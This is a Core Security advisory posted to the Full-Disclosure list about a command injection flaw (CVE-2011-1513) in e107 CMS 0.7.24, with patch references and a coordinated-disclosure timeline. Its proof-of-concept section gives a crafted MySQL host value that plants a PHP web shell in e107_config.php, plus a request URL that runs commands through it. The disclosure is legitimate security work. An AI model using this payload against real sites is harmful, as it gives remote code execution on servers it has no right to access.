[Full-disclosure] CORE-2011-0810 - E107 CMS Script Command Injection

[Core Security Technologies Advisories <advisories@xxxxxxxxxxxxxxxx>]

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Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/


e107 CMS Script Command Injection


1. *Advisory Information*

Title: e107 CMS Script Command Injection
Advisory ID: CORE-2011-0810
Advisory URL:
http://www.coresecurity.com/content/e107-cms-script-command-injection
Date published: 2011-10-24
Date of last update: 2011-10-24
Vendors contacted: e107
Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1513

3. *Vulnerability Description*

When the install script for e107 CMS has not been removed, an attacker
can "reinstall" the application using arbitrary parameters.
If the attacker puts a valid MySql server followed a semicolon and PHP
code, this will be executed when the config file gets requested.
This parameters are stored in the config file "e107_config.php".

4. *Vulnerable packages*
 . e107 0.7.24       
 . Older versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*
        
e107's team has issued patch for this issue in the revision 12375 [1] of
its SVN repository. Also the development version of e107 was patched in
the revision 12376 [2]
    

6. *Credits*

This vulnerability was discovered and researched by Matt Bergin and
Matias Blanco.
The publication of this advisory was coordinated by Fernando Russ.

7. *Technical Description / Proof of Concept Code*

A possible value for the MySql parameter could be:

/-----
localhost:63306';system($_GET['cmd']);$a='1

- -----/
Then, when the e107_config.php page is requested like this
http://www.example.com/e107_config.php?cmd=id, the command id is going
to be executed.
 

8. *Report Timeline*
          
. 2011-10-03:
    Technical details sent to the Vendor.
. 2011-10-03:
    The e107 security team asks Core for a technical description
    of the vulnerability.
. 2011-10-03:
    Core sends the technical description of the vulnerability
. 2011-10-21:
    The e107 security team reports that the vulnerability was fixed.
    And is now live in the SVN for wider testing. (changeset 12375 and
changeset 12376)
. 2011-10-21:
    Core provides the CVE for this vulnerability.
. 2011-10-24:
    Advisory CORE-2011-0810 is published.
 

9. *References*
    
[1]
      SVN reference to the patch for this issue in e107 (v0.7)
     
http://e107.svn.sourceforge.net/viewvc/e107?view=revision&revision=12375
      
[2]
      SVN reference to the patch for this issue in e107 (v0.8) (devel)     
     
http://e107.svn.sourceforge.net/viewvc/e107?view=revision&revision=12376
    
10. *About CoreLabs*

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11. *About Core Security Technologies*

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Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
 

12. *Disclaimer*

The contents of this advisory are copyright
(c) 2011 Core Security Technologies and (c) 2011 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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